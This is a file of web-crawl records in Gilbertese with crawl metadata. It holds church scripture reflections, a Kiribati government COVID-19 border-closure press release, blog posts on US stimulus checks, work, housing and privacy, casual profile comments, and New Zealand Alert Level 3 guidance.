Akana a mena i rarikin te kawai ike e unikaki iai te Taeka, bon uake a ongo te Taeka, ao e roko naba Tatan n uota nako te Taeka are unikaki i nanoia. Aroia naba ake a anganaki te koraa i buakon atibu: a butimaea te Taeka ma te kukurei., ma akea wakaia i nanoia ba a aki teimatoa; ngkana e roko te rawawata ma te bainikirinaki i bukin te Taeka, ao a baka. Iai aika anganaki te koraa i buakon te kateketeke; a ongo taeka, ma e taonaki ma ni karibaki te Taeka n tabeaiangan aonteaba ma ana kariri te kaubai ma taiani kaibabarru, ao e aki kona ni kariki ua. Iai aika anganaki te koraa n te tano ae raoiroi; a ongo te Taeka, ao a butimaia, ao a kariki ua, ba kakatenibui ke kakaonobui ke tatabebubua.\"\nTibatiba: Te tano ae raoiroi mani kariki ua\nTariu ao maneu E kaurrngira Iesu n te bong aio ba te bai ae kakawaki inanon maiura aei bon te kona n anganga te maiu ke te kariki ua. Ba motikan taekara inanon te maiu aio bon ara kona ni kariki ua ao n anganga te maiu. Bon aio anuan te Atua n tai nako ba te anganira te maiu n arona naba ngkai e anganira te maiu ae te ikeike. Ma bon iai te muioko ngkana e reke iroura te maiu ba te kona ni manga anga nakoia raora. Ba ngkana ti aki anga te maiu are a tia n reke iroura nakoia tabeman ao ngkanne e na bon teimatoa te maiu anne iroura. Karaua ni iangoia ba ko kanga ni maiu ni katoa bong. Eng ti bon karina iroura te ang are na manga buti inanon rabatara ao e na karika te maiu n rabatara. Ma e na riai n otinako te anga are ti tia ni karinna inanon rabatara. Ngkana ti aki ao ti na bon mate.\nNgkana E anganira ana taeka te Atua ao ti kantaningaki ba ti na karinna inanora ao ti na manga angania tabeman ba a na maiu. Ti riai ni katauraoi nanora n aiaron te tano ae riai ni katauraoaki n tebokaki n te ran ao n renganaki ma mkamka ni mange ao te bon ba e aonga ni maiu te kora ngkana e baka uiona.ma ngkana e maiu te kai ao e na motikaki taekana man raoiroin ma maitin te ua are karikia. Ngkana iai te ua ao e materaoi te amarake n te tano are a tia ni kanna te aroka anne. Ma ngkane akea te ua ao ngkanne e na bon riai ni koutaki ao ni kabuokaki.\nAi ngaia ae tariu ao maneu n te maiu n Atua are ti a tia n anganaki ao ti na kawakina ao ni karikirakea te maiu anne ngkana ti a manga anga ibukia raora.Ti na butia te Atua ba e na anganira ana tangira ma ana nanoanga ni kona ni manga anga te maiu anne nakoia tarira ma manera. N te aro aio ao ti na riki ba tano aika raoiroi aika a kariki ua.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1589-te-tano-ae-raoiroi-mani-kariki-ua","date":"2021-03-05T06:16:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178370239.72\/warc\/CC-MAIN-20210305060756-20210305090756-00306.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1049,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Press Release\nFor immediate Release\nKiribati extends its border closure until the end of February\nBairiki, Tarawa, 11th January 2021———The Government of Kiribati has officially declared a further extension of its border closure in response to the ongoing COVID-19 pandemic. The Government advises that this extension will remain effective until the end of February 2021 where it will be further reviewed. Special approvals is required for humanitarian flights to transport essential equipment, medical supplies and medevac operations.\nIn addition, Kiribati nationals travelling back on government arranged repatriation flights can enter Kiribati. A Repatriation Taskforce setup by Cabinet has been planning recent repatriation exercises to bring back all I-Kiribati stranded overseas since November last year. The Taskforce is currently working with partners and neighboring countries to repatriate remaining stranded nationals and Seafarers who have been affected by the border closures as a result of the pandemic.\nThe undertaking is being conducted in accordance with Standard Operating Procedures that seek to safeguard the public from the potential entry and transmission of COVID-19. All repatriated nationals would be required to undergo mandatory quarantine at a Government-designated facility on South Tarawa.\nThroughout the repatriation period, Kiribati borders will remain closed to foreign nationals unless specific directions are given to enable critical and lifesaving operations and activities in Kiribati. During the border closure, the provision of medical supplies and cargoes will continue under the established COVID-19 safety procedures and protocols to ensure necessary support to strengthen the national health system and to support the needs of the people.\nThe Government continues to appeal to the general public and Kiribati's development partners for their continued cooperation, support and understanding to ensure the necessary arrangements are strictly followed so that risks are managed and the health safety of all is not compromised.\n—————–\nE a tia te Tautaeka ni Kiribati ni manga kaanaua riki kainakin ana matabaiawa ibukin totokoan rokon te aoraki ae te COVID-19 iaon Kiribati. E na teimatoa n iin ana matabaiawa Kiribati ni karokoa tokin Beberuare 2021 ao ni manga rinanoaki riki te babaire imwiina. E na bon teimatoa n iai raaka ni kiba aika a baarongaaki aroia ibukin kaekaan te kainano ma iroun te botannaomata n aron karokoan bwaai n aoraki aika a tare, bwaai ni mwakuri aika a kakawaki ao tabeua riki aika a rangi ni kakawaki riki ibukin kainanon te botannaomata.\nN reitaki naba ma kaain Kiribati ake a na tauraoi ni karairaki n ana waaki ni kaokioki te Tautaeka. Te Komete are e kateaki man te Kaebineti e a tia ni baaireia bwa e na waaki kaokaia kaain Kiribati ake a bae okiia ao aei are e moa man te namwakaina ae Nobembwa te ririki ae e nako 2021. Ae e tabe ngkai ni waaki te Komete aei ni karaoi ana babaire ma taan Anga te Buooka ao Aaba aika a uakaan ibukin kaokaia nikiraia kaain Kiribati ao kaimoa ake a tia n rootaki mwanangaia man mwiin kainakin matabaiawa n aban nako te aonnaba ibukin te aoraki aei.\nE karaoaki te waaki ni kaokioki aei rinanon kainibaaire aika a mamatoa ke te Standard Operating Procedure ibukin kamanoaia te botannaomata bwa e na bon aki naba roko iaon Kiribati te COVID-19. Ao ni kabane kaain Kiribati ake a reke iaan te kaokioki aei a na bane n rinanon te kainibaaire aei ao man karaoaki te tutuo nakoia ao ni kaawakinaki n taabo ni kamanomano ke Quarantine centers iaon Tarawa.\nInanon te tai are e waaki iai te kaokioki, ao ana matabaiawa Kiribati e na teimatoa n in nakoia iabatera ma aei e na bon kona n uki nakoia ngkana bon iai te babaire ibukin karokoaia iaan kainanoan aia mwakuri are a na waakinna iaon Kiribati. Inanon naba kainakin ara matabaiawa ao bwaai n aoraki ao kaako a na bon teimatoa naba n rooroko rinanon kainibaaire n irekereke ma totokoan rokon te COVID-19 iaon Kiribati.\nE na teimatoa ami Tautaeka aei ni kawenea bwanaana ma te kaoriori nakoimi te botannaomata ao rabwata ake a teimatoa n anga aia ibuobuoki bwa a na irii raoi nanon babaire aika a mamatoa n te aro bwa e na teimatoa te marurung man aki rokon te COVID-19 iaon abara.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.mfa.gov.ki\/2021\/01\/12\/kiribati-extends-its-border-closure-until-the-end-of-february-2021\/","date":"2021-03-09T01:09:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178385534.85\/warc\/CC-MAIN-20210308235748-20210309025748-00124.warc.gz","language":"gil","language_score":0.9988642931,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9988642930984497}","num_words":689,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.242,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 32 Katenibong\nWarekan ana Reta Bauro nakon Tito: 3: 1 – 7\nKauringia aomata nako ba a na antaeka irouia mataniwi ma tan tautaeka, a na iri nanoia, a na tauraoi nakoni makuri nako aika raraoi, n aki kamatauninga temanna ao n aki kabotaeka, ma a na nanoraoi, ao a na nimamanei ni koaua nakoia aomata nako. Ba ti nanobaba ngaira naba rimoa, ao ti tautau arora ma n tiotio nako, ao ti toronaki n taiani kaibabaru ma taiani kukurei i nanon te ioawa ma te bakantang, ti riribaki ao ti riribaira i boni iroura. Ma e kaoti ana akoi te Atua ae ara Tia Kamaiu, ma ana tangira i bukia aomata, tiaki i bukina ba e rotaki nanona n ara makuri aika raraoi: bon ti te nanoanga ae ana nanona ba E na kamaiuira n te teboka ae te manga bungiaki, ma n onikira iroun te Tamnei ae Raoiroi. E urakina te Tamnei ae Raoiroi i aora te Atua, ni kabaitia irouni Iesu Kristo ae ara Tia Kamaiu. Ba ti aonga ni karaoiroaki n ana karatia Iesu Kristo, ao ti aonga n anganaki te ababa n te kabaia ae akea tokina ae ti onimakinna, i nanoni Iesu Kristo ae ara Uea.\nTe Taramo 22\nKaekana: E kawakinai te uea, akea kainnanou.\nBon au tia kawakintibu te Uea, akea kainnanou.\nE kaweneai i buakon te uteuteu ae maiureirei;\nE kairai ni motirawa i rarikin te ran. K\nE kairai n te kawai ae raoiroi i bukin arana.\nNgkana I toua te marua ae ro, ao i aki maka te kabuanibai,\nba raou Ngkoe ao iai ekom ma am kai, e rau nanou iai. K.\nKo katauaraoa au taibora i mataia tan ribaai;\nKo kabira atuu n te ba, e taonako au mangko. K.\nBon iriau te akoaki ma te tangira, ni katoa bongini maiu;\nmwengau bon uman te Uea n au bongi nako. K.\nAllleuia, alleluia.\nE weteira te Atua n te Euangkerio, ba ana botanaomata are E karekea ara Uea ae Iesu Kristo. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka: 17: 11 – 19\nI aoni kawaina nako Iereutarem, ao E ri marenan Tamaria ma Kariraia Iesu. Ngke E roko n te kawa teuana, ao E butimaeaki riouia rebera ake tengaun ake a tau raroaia. A kanenei banaia ni kangai: \"Iesu ae te Tia Reirei, nanoangaira.\" Ngke E noriia, ao E taku nakoia: \"Nako, kaotingkami nakoia berebitero.\" Ngke a tabe n nako, ao a itiaki naba man reberaia. Ao temanna mai buakoia, ngke e nora ba itiaki man reberana, ao e oki rikaki, ao e kakorakora banana n neboa te Atua. Ao e bobaraki i matani Iesu ni katituaraoia. Ao bon te I Tamaria teuarei. E taku Iesu nakoina: \"Tiaki tengaun ake a kaitiakaki? ao a nga akana ruaman? Ti te irua aei ae oki n angan te Atua neboana?\" Ao E kangai nakoina: \"Teirake, nako, e kamaiuko am onimaki.\"\nTibatiba: Te Tia kawakinai te Uea, akea kainnanou Irouna\nTariu ao maneu ti riai ni bane n ataia ba bon te Atua ae E babairei butin bai nako inanon ao iaon te aonnaba ae ti maiu iai. Ti tuangaki ba te bai ae kakawaki bon te tauraoi n anga boni ngaira ba ti na tautaekanaki ao ti na kairaki Irouna Ngaia ae Oesu ae te Atua ae a karikaki bai nako Irouna ao ibukina. Ngkana ti onimakina aio ao ti nim ma te Uea ni maiuakin ana tua ao ni karaoa Nanona ao ngkanne bon akea te bai ae ti na maaku iai ba ti na bon kawakinaki ba ti aki raurenako ma Iesu. Ba ngkana ti raurenako ma Iesu ao ti koreaki nako n aki toma ma Iesu ao ngkanne a na bon akea te maiu iroura ao ti na mate. Ngkana ti nim ma te Uea ao bon akea te bai ae ti kona n rotaki iai ngkai bon te Uea ae na bon kakawakinira n tai nako. Ti na kaitibo ma taian kanganga ma kabuanibai ma ti na onimaki ba iai Iesu irarikira ae na tei ma ekona are bon makana n Atua are na tokanikai iai iaon bai nako. Ma ngkana ti raroa ma te Uea ao ti na bon rotaki n te maaku ngkai bon akea raora ae te tia kawakinira.\nE bon riai gkannne iroura ba ti na waekoa n rairi nanora man arora aika ti atai ba a kararoaira ma te Atua are bon te bure. Ti na butia Iesu ba e na anganira ana karatia ni kona n aki raurenako ma Ngaia ba E aonga ni kairira nakon mwengara ni koaua are ti na katonga iai te kabaia ao te kimareirei ae aki totoki inanon te mimitong.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1541-te-tia-kawakinai-te-uea-akea-kainnanou-irouna","date":"2021-03-05T06:13:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178370239.72\/warc\/CC-MAIN-20210305060756-20210305090756-00056.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":766,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kaabwabwakan tain bwakan Te Mwane ni Buoka Inanon tain te Covid19 (Stimulus Check)\nSeptember 10, 2020\nMauri ao Aloha mai Maui.\nAu kantaninga bwa kam bon bane ni marurung raoi n auan te bong ae te Katenibong 09\/09\/2020. Eang bon iai ongou are ia manga kan tibwai ma ngkami ake kam tuai ongo ao tao au kairoro riki nakoia naake a tia n ongo ma tao iai ami nano uoua iai. Aio bon rongorongon te mwane ni buoka are e anganako te tautaeka n Amerika nakoia nikabane aomata ake a qualified ke aomata ni bane ake a kona n reke irouia. Kam bon bane n ataia are ngke e roko te aoraki ae the covid19 ao e tira te aomata ae bua ana mwakuri man Maati 2020 ao angiina a bon tuai naba man mwakuri nuua ngkai, n ai arou. E rawata ibuakora aika tao a rinanon te raraoma ibukin boon te maeu, ke boon te mweenga; ake a bwaibwai nte auti ao ake a tango auti. Ao tao iai ake a raraoma ibukin boon aia medical insurance ke te tararuaan mauriia bwa tao ea ea bua ngke e bua te mwakuri. Ao a bon bati iteran kanganga aika a reke nakoira n tatabemaniira nako. Ao ibukin itera aikai ao ni inanon March 27, 2020 ao e rinanoaki te katau mwane ae mwaitina $2 Trillion iroun te tautaeka n Amerika ibukin itera ni ibuobuoki aika a mwaiti ao teuana mai ibuakona bon te mwane ni buoka ae aranaki bwa te Stimulus Check. Kanga te mwane ni buoka inanon te tai n raraoma ao n rawawata ntain te aoraki ae te covid19. Ibukina bwa ti bane n rotaki iai n angaa aika a kakaokoro ao te tautaeka eaki kona ni katanakoa temanna ma temanna n aron kainanona ai ngaia are ea katitebooa naba te mwaiti bwa $1,200 nakon te tia mwakuri ao $500 nakoia ataei ke dependent.E bon moanaki bwakan te buoka aei man Maati ma te katautau bwa ena iai tokin butimaean te karin. N warekan mwiin te nambwa ao e kunea ana tabo n tararua te mwane ke the Internal Reveneu Services Amerika bwa e bon tiraua naba te aomata ake a tuai kataia n karina araia ibukin te buoka aio. Aio riki e boboto irouia aomata ake tao aaki kakaraoa aia angabwai ke aia tax nakon te tautaeka bwa tao aaki mwakuri ke tao e uarereke aia karekemwane. Ngaia are ngkoananoa ao ea manga katanoataaki bwa eatia ni manga kaananauaki riki tain te karin ara ke te kataaki nakon te buoka aio nakon October 15 2020 ao e kauring bwa iai ana reta ane ana kanakoaki nakon ami meeri ni kauring.Uringa, tiaki tii taan mwakuri aika a kona ni n reke irouia te buoka aio, e reke irouia nikabane aomata, mwakuri ke aki mwakuri ma kona ti aki rin ke ni warekaki ian ana angabwai ke ana tax temanna. Ngaia are tai tabwara bwa ngkana ko tuai kataia ni karina aram ibukin te buoka aio ao aio am tai. E uki te karin ara nuua October 15 2020. Naako n ana Ngao ke ana website the IRS ao karaoia. Iai buokam mwaneka ane i karaoia bwa kairan kawaim. Ao tai mwaninga weweteai ngkana iai am titiraki.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/te-maeka-i-amerika.com\/kaabwabwakan-bwakan-te-mwane-ni-buoka-inanon-tain-te-covid19-stimulus-check\/","date":"2021-04-22T19:16:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039604430.92\/warc\/CC-MAIN-20210422191215-20210422221215-00092.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":525,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.33,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Makuri \/ Work\nEang ibukina bwa ti roko man abara ae e uarereke ni kabotauaki ma aaba nako ao ti bon kuri ni kinaia kaain ara kaawa ke ara mwakor ni bane. Ao ai arona naba n ara tabo ni mwakuri, e ngae ngke tiaki am koraki ao ai aron ae tia ikokoraki naba ngke ti kanaira. Ao aio ae tia ataia bwa n tabetai ao ti rang kakaboongana naba nte tabo ni mwakuri. Ngaia are engae ngke tao bon iai tuua n taabo ni mwakuri ao ngaira n tabetai ti rang aki kaboonganai tuua bwa are iai te ikikina ao te ikokoraki. Ngaia are n tabetai ngkana tao bon iai angin te aoraki ke tao tia manga tataninga nei Rooti ao tia aki naba nako ni mwakuri. N tabetai ngkana iai ara bootaki ao tia bon kantaninga naba bwa ara mataniwil nte tabo ni mwakuri ena riai n ota bwa e aera kai i aki kona moa n roko ni mwakuri. Aikai bwaai tabeua aika ti rang tekeraoi iai bwa ti kona ni karaoi i abara ao a bon ota naba iai ara taan kairiri.\nMa n rokom i Amerika ke nna kangai bwa bon aaba i abatera ao e bon matoa tuan te mwakuri. Tabeua tuan te kamwakuri ae ti rang nonorii bwa te tua ibukin te roko iaon te tai, tuan te aki roko ni mwakuri ibukin te aoraki, tuan te kaboraoi, te tua ibukin anakin te motirawa, te tua ibukin te aroaro ma taeka aika ko riai ao aika ko aki riai ni kabonganai ao a bati riki. Ao tua aikai a bon bae n rinanoaki ma ngkoe ngke ko moan kateirakeaki nakon am mwakuri, ke n tabetai a koreaki iaon am boraraoi ma te kambwana. Ngaia are e rang kakawaki bwa kona ongora n tuua ke ni warekii am beeba ake ko anganaki n am moan teirake. Uringa bwa ngkana ko aki Te katoto tabeua ae i kona n tibwai ma ngkami b Angiin taabo ni mwakuri e koro tenua am tai n aki mwakuri bwa ko aoraki ao ea koreaki naba retam bwa ko warning. Teuana naba ko bon aki kona n ana am motirawa nuua e kariakaki iroun am mataniwi. Ao iai maanin am tai are kona riai iai n anga am bubuti ibukin am motirawa are ko iangoia. Angiin te tai tao uoua te wiiki ma e bon tatanako nakon te tabo ni mwakuri ao tuan te mwakuri. Te tabo ni mwakuri i abara bwa kanga e Engae ngke ti aki kokoraki ma Te mwakuri e bon rang kakawaki. Eang ngaira ti bon rang tataneiai naba are Aron kakawakin te mwakuri ma irakin nanon tuan te kamwakuri.\nKinakin kambana aika kona kona ni katan iaia bwa a kona n anganiko bwaai aika kona kainanoi, n aron te Insurance ibukin Maeum, Marurungim ma am utu ao am mwane n tania ibukin am ritaea.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/te-maeka-i-amerika.com\/te-makuri-work\/","date":"2021-04-22T20:31:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039604430.92\/warc\/CC-MAIN-20210422191215-20210422221215-00054.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":480,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Mweenga \/ Housing\nMweenga ke auti ni maeka a bon tira ma are a bane ni kaboaki. N angiin te tai ao kanga e bon korakora are ti mwaing nako ao ti tiku moa irouia ara koraki ao mai ikanne are tia mwaing nako ni kareke auti ngkana tia baronga. Ma mweenga a bon bane n tatangoaki, ngaia are ngaira ngke ti moan roko i Amerika ti tango (rent) auti inanon 5 te ririki imwaiin are tia kona ni kabooa ae bon mweengara. Ngkanne nna taekina teutana aron te tango auti. Anggin auti ko tiaina te booraraoi imarenam ma te tia bwaibwai n te auti ao te boraraoi anne kona riai ni irii tuana. A bon tanako boraraoi ma tuaia nako, e bon nakon tein te auti, te tabo are e mena iai ao naake taan bwaibwai. Teuana kanoan te boraraoi ae i ataia ae n tabetai e kanganga iroura bwa tina iria Ti te bwai ae kakawaki bwa kona irii tuan te boraraoi ao man Bwa are iai te . Tao n tabetai ao\nNgkana ko kaboo auti","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/te-maeka-i-amerika.com\/te-mweenga-housing\/","date":"2021-04-22T20:04:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039604430.92\/warc\/CC-MAIN-20210422191215-20210422221215-00177.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":177,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.373,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tararuaan ao Kawakinan Te Mauri \/Terms and Conditions\nTe Maeka I-Amerika – E kabongana te tararua ae aranaki bwa te SSL ke te tararua ibukin rongorongo aika a kabonganaaki n ara ngao n kaognora aio bwa ana aki kabonganaaki n aki akaka, ana aki kona ni katotongaki n akea te kariaia ao ana tan ma waaki ni kamwane, waaki ni kaewewe ke ni katoto n akea te kariaia. SSL e bon tei ibukin Secure Socket Layer are te beeba ni kariaia bwa ena iai te Rabuna are ti kabonganaa ibukin kamanoan ao rokakin tenaan rongorongo, karaki, ao atatai ake a bane ni kabonganaaki n ara ngao ni kaongora aio.\nTe Maeka I-Amerika – E kawakinii ni kabane rongorongo ke atatai, taeka ake a onoti ibukim ao kaongora ma karaki ni bane ake a taekinaki nte Ngao n Atatai ao ni Kaongora aio. Ibukim ngkoe are ko anga aram ke am nambwa n tareboon ke am tabo are ko maeka iai, Te Maeka I-Amerika Ngao n Atatai ao ni Kaongora e bon katani ni kabane bwa ana aki kona n roko iai ke n nooraki irouia ake akea kariaiakakiia n noori.\nTe Maeka I-Amerida – Iai ana boraraoi ae maetaata, e kaineti ao e tei n okoro ti ibukin kawakinan ao rokanakin rongorongom, karakinam ke atatai ibukim bwa kona n onimaki ao ni mwengaraoi n tibwai am karaki, rongoronogm iaon ara Ngao ni Kaongora aei.\nTe Maeka I-Amerika – Ngao n Atatati ao ni Kaongora bon am tabo are kona kona iai ni kakaenako buokam ibukin te atatai ke buokam ibukin rongorong ke buokam ibukin angan karobwai ke mwakurian bwaai ma akea te bwai ae e iokinibwai iai bwa ti te ibuobuoki ibukin kan ota.\nKarinean ao kawakinan kakawakin rongorongo ma atatai ake a taekinaki n ara Ngao ni Kaongora aio bon te moan bwai ae kakawaki iroura. Ti ataia bwa ngke ko anganiira rongorongom ke am atatai ke am karaki ao ko kaotia iai bwa iai am onimaki iroura bwa tina kawakinna man katanna ao anne bukina are ti karaoa iai te Rabuna are tina kona ni kabonganaa ibukin kamanoan ao rokakin tenaan rongorongo, karaki, ao atatai ake a bane ni kabonganaaki ke n tibwaaki inanon ara ngao ni kaongora aio.\nAtatai ma Rongorongom ake tina kainanoi ma aron kabonganakia.\nN taai tabetai ao tao tina kainanoi rongorongom n aron; am tareboon nambwa ke am tabo are ko maeka iai ke am email address, uringa bwa Te Maeka I-Amerika Ngao n Atatai ao kaongora ena bubuti aikai mai iroum ti bukin kateimatoaan te reitaki ma ngkoe bwa eaonga ni kona ni karekei buokam ke kaekaan am titiraki ake kona kainanoi. Aikai bwaai ake ti bane ni katani ao n rokanaki bwa akea riki ae kona n ataia bwa ti Te-maeka-i-Amerika.com Ngao n Atatai ao ni Kaongora.\nContact\nPlease contact us if you have any questions or concerns about our privacy policy.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/te-maeka-i-amerika.com\/terms-and-conditions\/","date":"2021-04-22T20:36:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039604430.92\/warc\/CC-MAIN-20210422191215-20210422221215-00495.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":477,"character_repetition_ratio":0.089,"word_repetition_ratio":0.026,"special_characters_ratio":0.199,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"hey sis ani kabara te bure ngaia ko kakaia am speaker sshhh ao enang kanga ia tiba online nae.....ke ko txt nakon au ph.tao tia taia riki.....ao ngke mena ngkai e buokiko hurbert ni kakaia am speaker ba eata tabo aika boraoi.....bon am bure ane, ao ngkai ko mena iara ngkanne????? koa roko i kiribati ke ko tuai?????tao ma koangania naba kain am auti au kamauri....ao ngkana ko roko i kiribati ao koangania naba tintii maa au kamauri.....tao tekeraoi te motirawa ikanne ao tiabo n okim..\nMOCE!!!\nmmmm\nNgaia ngkoe kanakoa ma ikanne tera am rongorongo?ngkai iakua n ring am tarebon ao koaki kaeka tera ae e riki iroum ko maku ko taku ba te kamarua hahahaha eang ngai ngkai nang oki ningabong ba nang tei rake ni makuri...ao ngkoe ena motirawa ningai am reirei???\nmauri neiko koura? euara te reirei ikane,ko bon iangoa te reirei raoi ke ko iangoa aitaenimane??hahahahaha. ngaia ane keiakinna am reirei bwa ea bon bane. ngaira ma ikai tinang aitoa ma kaka reeu ao kain te auti, ma ngkai i weekend moa i pukekohe\nno more photos? was lucky to witness yesterday's event - total solar eclipse ke nuun namakaina are e taonira i tarawa at around 4pm..ti bane n rush outside man ara ruu at MCIC Betio bwa kanga e a moanna n roo ao ti share sunglasses to look up into the sky - ao ti noora namakaina inanon te oota ae kanga diamond shaped ao tein namakaina kanga e banana..the more we stood there watching ao te roo e taonira like e nang bong except ara shadows a rangi ni long - ao e bon roo for a few minutes ao imwina e manga ota like any normal 4pm afternoon..ara kantaninga bwa kain Butaritari a enjoy naba te experience aei bwa are ena manga kaoti inanon 2132 ke 100 years later..take care","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/banabanvoice.ning.com\/profile\/tammyk","date":"2021-04-23T08:36:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039568689.89\/warc\/CC-MAIN-20210423070953-20210423100953-00453.warc.gz","language":"gil","language_score":0.9995973706,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 0.9995973706245422}","num_words":305,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N taian Kauring ni Karinan ni kabane, taabo ni mwakuri aika kakawaki man kainanoaki (essential) n ikotaki ma taabo ni kuakua (health services), taabo ni mwakuri ibukin kainnano aika tawe ao tararuan te rau (emergency services), kainnano n te mwenga n aron te iti ma te ran (utilities) ao bao ibukin amarake ma bwaai (goods transport) a na bon teimatoa ni mwakuri ao n tauraoi ibukia te botanaomata. Taan kamwakuri n taabo aikai a kabaeaki i an te tua bwa a na teimatoa n tararuai mauria ao manoia.\nNgkana arona bwa iai kabuanibwai aika karina n riki (emergency) n taian Kauring ni Karinan ni kabane, iri nanon kaetieti ibukin te kabuanibwai. Taian kaetieti i aon te kamwaing n tain te kabuanibwai e na kona n ekanako te kaetieti i aon ana Kauring COVID-19 are te tiku n te mwenga.\nTe maeka inanon te karinan 3\nNgkana ko aoraki, tiku ni mwengam. Tai nakon te mwakuri ke te reirei. Ko na aki reitaki ma aomata.\nNgkana iai aorakin te mwaitoro iroum, te bekobeko n irianaki ma te kabuebue (flu) ke kanikinaean te COVID-19, tarebonia am taokita ke te Healthline i aon 0800 611 116 ao karekea te kaetieti ibukin am tutuo.\nNgkana ko a tia n tuangaki bwa ko na kaokoroko ao i an te tua ko riai ni karaoia n te tai ae waekoa.\nNgkana ko karaoa am tutuo ibukin te COVID-19, i an te tua ko riai n tiku ni mwengam ni kaokoroko ni karokoa e reke mwin am tutuo iroum.\nN te Karinan ni Kauring 3 ko riai:\n- Kawakina 2 te miita marangaia ma aomata i tinanikun mwengaia, ao 1 te miita n aia tabo ni mwakuri.\n- Kabongana nangoan ke kamanoan te ubu i aon ana bao ni mwamwananga te botanaomata, n te wanikiba ao ngkana e angabuaka tauan marangam ma aomata n aron te mena n taabo ni bobwai aika bubura ke titoa.\n- Teimatoa n teboka baim ao ni kamwaua.\n- Taua mwin taabo aika ko nako iai ao antai aika ko kaitibo ma ngaiia. Kabongana te NZ COVID Tracer app, te Covid-19 tracer booklet, ke ko bon korea mwin mwanagam.\nTe botaki irouia aomata e kona ni karaoaki ma ti 10 kaina aika kariaiakaki, aio bon ti ibukin botaki n aron te mare, te mate ao te taunimate. Ma i an te tua ao e na riai n teimatoa tauan te maranga n tainako.\nN te tua ao e na riai ni kabonganaki kamanoan ke nangoan te ubu i aon ana bao ni mwamwananga te botanaomata ao i aon te wanikiba. E rang korakora kaungakin kamanoan ke nangoan te ubu n taabo ake e kanganga iai tauan te maranga n aron taian titoa.\nE rang kakawaki kateimatoan te kakaitiaki, n ikotaki ma te teboki bai ao kamwauana, te bekobeko ao te mwatie nakon mwanokun baim ao kateimatoa kaoan taian mataniwi (surfaces).\nA bane ni kaungaki aomata bwa a na taui mwin taabo aika nako iai ke a kawari ao antai aika kaitibo ma ngaiia. Aio e na rang buoka aron rimwiaia aomata ngkana e na kainanoaki.\nN te Kauring ni Karinan 3 ao i an te tua ko riai n tiku ni mwengam n am mronron (bubble) ngkana arona bwa ko aki mwakuri ke n reirei. Ko kona ni karababa aio nakon aei:\n- reitaki ma am utu ni kaan\n- karekea am tia ibuobuoki\n- buokia aomata ake a kaokoroia ibukin te aoraki.\nE rang kakawaki ae ko na kawakina raoi am mronron (bubble). Kaokoroa am mronron ao ti karinia aomata ake a na kona ni buokiko 